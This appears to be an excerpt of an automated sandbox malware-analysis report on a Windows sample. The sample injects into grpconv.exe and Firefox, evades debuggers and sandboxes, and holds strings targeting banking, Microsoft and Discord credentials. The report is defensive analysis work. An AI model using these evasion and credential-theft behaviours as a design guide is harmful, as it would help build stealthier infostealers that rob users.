Source: unknown Process created: C:\Users\user\Desktop\lByv6mqTCJ.exe "C:\Users\user\Desktop\lByv6mqTCJ.exe"
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe Process created: C:\Windows\SysWOW64\grpconv.exe "C:\Windows\SysWOW64\grpconv.exe"
Source: C:\Windows\SysWOW64\grpconv.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe Process created: C:\Windows\SysWOW64\grpconv.exe "C:\Windows\SysWOW64\grpconv.exe" Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: ieframe.dll Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: mlang.dll Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: winsqlite3.dll Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32 Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\ Jump to behavior
Source: lByv6mqTCJ.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: Binary string: grpconv.pdb source: lByv6mqTCJ.exe, 00000000.00000003.2097880175.000000000139D000.00000004.00000020.00020000.00000000.sdmp, lByv6mqTCJ.exe, 00000000.00000003.2131424199.00000000013A6000.00000004.00000020.00020000.00000000.sdmp, ooaSzUjoYqoTW.exe, 00000002.00000002.3876120909.000000000116E000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: grpconv.pdbGCTL source: lByv6mqTCJ.exe, 00000000.00000003.2097880175.000000000139D000.00000004.00000020.00020000.00000000.sdmp, lByv6mqTCJ.exe, 00000000.00000003.2131424199.00000000013A6000.00000004.00000020.00020000.00000000.sdmp, ooaSzUjoYqoTW.exe, 00000002.00000002.3876120909.000000000116E000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: ooaSzUjoYqoTW.exe, 00000002.00000002.3875597421.00000000004CE000.00000002.00000001.01000000.00000004.sdmp, ooaSzUjoYqoTW.exe, 00000005.00000000.2199021776.00000000004CE000.00000002.00000001.01000000.00000004.sdmp
Source: Binary string: wntdll.pdbUGP source: lByv6mqTCJ.exe, 00000000.00000002.2132478501.00000000017E0000.00000040.00001000.00020000.00000000.sdmp, lByv6mqTCJ.exe, 00000000.00000003.2026593857.000000000148C000.00000004.00000020.00020000.00000000.sdmp, lByv6mqTCJ.exe, 00000000.00000003.2028568483.0000000001631000.00000004.00000020.00020000.00000000.sdmp, lByv6mqTCJ.exe, 00000000.00000002.2132478501.000000000197E000.00000040.00001000.00020000.00000000.sdmp, grpconv.exe, 00000003.00000003.2135035508.00000000043E4000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000003.00000002.3876792528.0000000004590000.00000040.00001000.00020000.00000000.sdmp, grpconv.exe, 00000003.00000002.3876792528.000000000472E000.00000040.00001000.00020000.00000000.sdmp, grpconv.exe, 00000003.00000003.2131632668.0000000004233000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: lByv6mqTCJ.exe, lByv6mqTCJ.exe, 00000000.00000002.2132478501.00000000017E0000.00000040.00001000.00020000.00000000.sdmp, lByv6mqTCJ.exe, 00000000.00000003.2026593857.000000000148C000.00000004.00000020.00020000.00000000.sdmp, lByv6mqTCJ.exe, 00000000.00000003.2028568483.0000000001631000.00000004.00000020.00020000.00000000.sdmp, lByv6mqTCJ.exe, 00000000.00000002.2132478501.000000000197E000.00000040.00001000.00020000.00000000.sdmp, grpconv.exe, grpconv.exe, 00000003.00000003.2135035508.00000000043E4000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000003.00000002.3876792528.0000000004590000.00000040.00001000.00020000.00000000.sdmp, grpconv.exe, 00000003.00000002.3876792528.000000000472E000.00000040.00001000.00020000.00000000.sdmp, grpconv.exe, 00000003.00000003.2131632668.0000000004233000.00000004.00000020.00020000.00000000.sdmp
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_00413040 push eax; ret 0_2_00413042
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_00425040 push eax; iretd 0_2_00425043
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_00416167 push ebp; ret 0_2_0041616B
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_00427A84 pushad ; iretd 0_2_00427A90
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_00427B34 pushad ; retf 0_2_00427B35
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_00423560 push 00000076h; iretd 0_2_0042356F
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_017E225F pushad ; ret 0_2_017E27F9
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_017E27FA pushad ; ret 0_2_017E27F9
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018109AD push ecx; mov dword ptr [esp], ecx 0_2_018109B6
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_017E283D push eax; iretd 0_2_017E2858
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_017E1366 push eax; iretd 0_2_017E1369
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045927FA pushad ; ret 3_2_045927F9
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0459225F pushad ; ret 3_2_045927F9
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0459283D push eax; iretd 3_2_04592858
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_045C09AD push ecx; mov dword ptr [esp], ecx 3_2_045C09B6
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_00635810 push ebx; retf 1E97h 3_2_0063593E
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0063051D push 00000076h; iretd 3_2_0063052C
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_006406DD pushfd ; ret 3_2_006406F5
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_00640910 push es; ret 3_2_00640994
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_00634A41 pushad ; iretd 3_2_00634A4D
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_00634AF1 pushad ; retf 3_2_00634AF2
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_00623124 push ebp; ret 3_2_00623128
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0063BF75 push ss; ret 3_2_0063BF54
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0063BF18 push ss; ret 3_2_0063BF54
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_00631FFD push eax; iretd 3_2_00632000
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0442B438 push ds; iretd 3_2_0442B43B
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04425711 push esi; retf 3_2_04425732
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0443178B push edx; ret 3_2_04431791
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0442D0E0 push es; iretd 3_2_0442D173
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_04435192 push eax; ret 3_2_04435194
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0442D198 push es; iretd 3_2_0442D173
Source: lByv6mqTCJ.exe Static PE information: section name: .text entropy: 7.995417785217454
Source: C:\Windows\SysWOW64\grpconv.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Switches to a custom stack to bypass stack traces
Source: C:\Windows\SysWOW64\grpconv.exe API/Special instruction interceptor: Address: 7FF8C88ED324
Source: C:\Windows\SysWOW64\grpconv.exe API/Special instruction interceptor: Address: 7FF8C88ED7E4
Source: C:\Windows\SysWOW64\grpconv.exe API/Special instruction interceptor: Address: 7FF8C88ED944
Source: C:\Windows\SysWOW64\grpconv.exe API/Special instruction interceptor: Address: 7FF8C88ED504
Source: C:\Windows\SysWOW64\grpconv.exe API/Special instruction interceptor: Address: 7FF8C88ED544
Source: C:\Windows\SysWOW64\grpconv.exe API/Special instruction interceptor: Address: 7FF8C88ED1E4
Source: C:\Windows\SysWOW64\grpconv.exe API/Special instruction interceptor: Address: 7FF8C88F0154
Source: C:\Windows\SysWOW64\grpconv.exe API/Special instruction interceptor: Address: 7FF8C88EDA44
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0185096E rdtsc 0_2_0185096E
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\grpconv.exe Window / User API: threadDelayed 9843 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe API coverage: 0.8 %
Source: C:\Windows\SysWOW64\grpconv.exe API coverage: 2.6 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\grpconv.exe TID: 1396 Thread sleep count: 130 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe TID: 1396 Thread sleep time: -260000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe TID: 1396 Thread sleep count: 9843 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe TID: 1396 Thread sleep time: -19686000s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe TID: 3840 Thread sleep time: -55000s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\qCxIpusqZONCCjzbpJDffXbRFAcIKoXbBEQoEJrcdiBpRvwrym\ooaSzUjoYqoTW.exe TID: 3840 Thread sleep time: -30000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\grpconv.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\grpconv.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0063C1E0 FindFirstFileW,FindNextFileW,FindClose, 3_2_0063C1E0
Source: 13612MI5K.3.dr Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 13612MI5K.3.dr Binary or memory string: discord.comVMware20,11696428655f
Source: 13612MI5K.3.dr Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 13612MI5K.3.dr Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 13612MI5K.3.dr Binary or memory string: global block list test formVMware20,11696428655
Source: 13612MI5K.3.dr Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: ooaSzUjoYqoTW.exe, 00000005.00000002.3876373942.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlle
Source: 13612MI5K.3.dr Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 13612MI5K.3.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 13612MI5K.3.dr Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 13612MI5K.3.dr Binary or memory string: secure.bankofamerica.comVMware20,11696428655|UE
Source: 13612MI5K.3.dr Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 13612MI5K.3.dr Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 13612MI5K.3.dr Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 13612MI5K.3.dr Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 13612MI5K.3.dr Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: grpconv.exe, 00000003.00000002.3875818549.000000000280A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000006.00000002.2468905153.00000196D45CC000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 13612MI5K.3.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 13612MI5K.3.dr Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 13612MI5K.3.dr Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 13612MI5K.3.dr Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 13612MI5K.3.dr Binary or memory string: AMC password management pageVMware20,11696428655
Source: 13612MI5K.3.dr Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 13612MI5K.3.dr Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 13612MI5K.3.dr Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 13612MI5K.3.dr Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 13612MI5K.3.dr Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 13612MI5K.3.dr Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 13612MI5K.3.dr Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 13612MI5K.3.dr Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 13612MI5K.3.dr Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: 13612MI5K.3.dr Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 13612MI5K.3.dr Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0185096E rdtsc 0_2_0185096E
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_00427153 LdrLoadDll, 0_2_00427153
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01850185 mov eax, dword ptr fs:[00000030h] 0_2_01850185
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018CC188 mov eax, dword ptr fs:[00000030h] 0_2_018CC188
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018CC188 mov eax, dword ptr fs:[00000030h] 0_2_018CC188
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018B4180 mov eax, dword ptr fs:[00000030h] 0_2_018B4180
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018B4180 mov eax, dword ptr fs:[00000030h] 0_2_018B4180
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0189019F mov eax, dword ptr fs:[00000030h] 0_2_0189019F
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0189019F mov eax, dword ptr fs:[00000030h] 0_2_0189019F
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0189019F mov eax, dword ptr fs:[00000030h] 0_2_0189019F
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0189019F mov eax, dword ptr fs:[00000030h] 0_2_0189019F
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0180A197 mov eax, dword ptr fs:[00000030h] 0_2_0180A197
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0180A197 mov eax, dword ptr fs:[00000030h] 0_2_0180A197
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0180A197 mov eax, dword ptr fs:[00000030h] 0_2_0180A197
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018D61C3 mov eax, dword ptr fs:[00000030h] 0_2_018D61C3
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018D61C3 mov eax, dword ptr fs:[00000030h] 0_2_018D61C3
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0188E1D0 mov eax, dword ptr fs:[00000030h] 0_2_0188E1D0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0188E1D0 mov eax, dword ptr fs:[00000030h] 0_2_0188E1D0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0188E1D0 mov ecx, dword ptr fs:[00000030h] 0_2_0188E1D0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0188E1D0 mov eax, dword ptr fs:[00000030h] 0_2_0188E1D0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0188E1D0 mov eax, dword ptr fs:[00000030h] 0_2_0188E1D0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018E61E5 mov eax, dword ptr fs:[00000030h] 0_2_018E61E5
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018401F8 mov eax, dword ptr fs:[00000030h] 0_2_018401F8
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018BE10E mov eax, dword ptr fs:[00000030h] 0_2_018BE10E
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018BE10E mov ecx, dword ptr fs:[00000030h] 0_2_018BE10E
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018BE10E mov eax, dword ptr fs:[00000030h] 0_2_018BE10E
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018BE10E mov eax, dword ptr fs:[00000030h] 0_2_018BE10E
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018BE10E mov ecx, dword ptr fs:[00000030h] 0_2_018BE10E
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018BE10E mov eax, dword ptr fs:[00000030h] 0_2_018BE10E
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018BE10E mov eax, dword ptr fs:[00000030h] 0_2_018BE10E
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018BE10E mov ecx, dword ptr fs:[00000030h] 0_2_018BE10E
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018BE10E mov eax, dword ptr fs:[00000030h] 0_2_018BE10E
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018BE10E mov ecx, dword ptr fs:[00000030h] 0_2_018BE10E
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018BA118 mov ecx, dword ptr fs:[00000030h] 0_2_018BA118
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018BA118 mov eax, dword ptr fs:[00000030h] 0_2_018BA118
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018BA118 mov eax, dword ptr fs:[00000030h] 0_2_018BA118
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018BA118 mov eax, dword ptr fs:[00000030h] 0_2_018BA118
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018D0115 mov eax, dword ptr fs:[00000030h] 0_2_018D0115
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01840124 mov eax, dword ptr fs:[00000030h] 0_2_01840124
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018A4144 mov eax, dword ptr fs:[00000030h] 0_2_018A4144
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018A4144 mov eax, dword ptr fs:[00000030h] 0_2_018A4144
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018A4144 mov ecx, dword ptr fs:[00000030h] 0_2_018A4144
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018A4144 mov eax, dword ptr fs:[00000030h] 0_2_018A4144
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018A4144 mov eax, dword ptr fs:[00000030h] 0_2_018A4144
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018A8158 mov eax, dword ptr fs:[00000030h] 0_2_018A8158
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01816154 mov eax, dword ptr fs:[00000030h] 0_2_01816154
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01816154 mov eax, dword ptr fs:[00000030h] 0_2_01816154
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0180C156 mov eax, dword ptr fs:[00000030h] 0_2_0180C156
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018E4164 mov eax, dword ptr fs:[00000030h] 0_2_018E4164
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018E4164 mov eax, dword ptr fs:[00000030h] 0_2_018E4164
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0181208A mov eax, dword ptr fs:[00000030h] 0_2_0181208A
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018080A0 mov eax, dword ptr fs:[00000030h] 0_2_018080A0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018A80A8 mov eax, dword ptr fs:[00000030h] 0_2_018A80A8
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018D60B8 mov eax, dword ptr fs:[00000030h] 0_2_018D60B8
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018D60B8 mov ecx, dword ptr fs:[00000030h] 0_2_018D60B8
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018920DE mov eax, dword ptr fs:[00000030h] 0_2_018920DE
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0180A0E3 mov ecx, dword ptr fs:[00000030h] 0_2_0180A0E3
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018180E9 mov eax, dword ptr fs:[00000030h] 0_2_018180E9
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018960E0 mov eax, dword ptr fs:[00000030h] 0_2_018960E0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0180C0F0 mov eax, dword ptr fs:[00000030h] 0_2_0180C0F0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018520F0 mov ecx, dword ptr fs:[00000030h] 0_2_018520F0
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01894000 mov ecx, dword ptr fs:[00000030h] 0_2_01894000
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018B2000 mov eax, dword ptr fs:[00000030h] 0_2_018B2000
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018B2000 mov eax, dword ptr fs:[00000030h] 0_2_018B2000
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018B2000 mov eax, dword ptr fs:[00000030h] 0_2_018B2000
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018B2000 mov eax, dword ptr fs:[00000030h] 0_2_018B2000
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018B2000 mov eax, dword ptr fs:[00000030h] 0_2_018B2000
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018B2000 mov eax, dword ptr fs:[00000030h] 0_2_018B2000
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018B2000 mov eax, dword ptr fs:[00000030h] 0_2_018B2000
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018B2000 mov eax, dword ptr fs:[00000030h] 0_2_018B2000
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0182E016 mov eax, dword ptr fs:[00000030h] 0_2_0182E016
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0182E016 mov eax, dword ptr fs:[00000030h] 0_2_0182E016
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0182E016 mov eax, dword ptr fs:[00000030h] 0_2_0182E016
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0182E016 mov eax, dword ptr fs:[00000030h] 0_2_0182E016
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0180A020 mov eax, dword ptr fs:[00000030h] 0_2_0180A020
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_0180C020 mov eax, dword ptr fs:[00000030h] 0_2_0180C020
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_018A6030 mov eax, dword ptr fs:[00000030h] 0_2_018A6030
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01812050 mov eax, dword ptr fs:[00000030h] 0_2_01812050
Source: C:\Users\user\Desktop\lByv6mqTCJ.exe Code function: 0_2_01896050 mov eax, dword ptr fs:[00000030h] 0_2_01896050
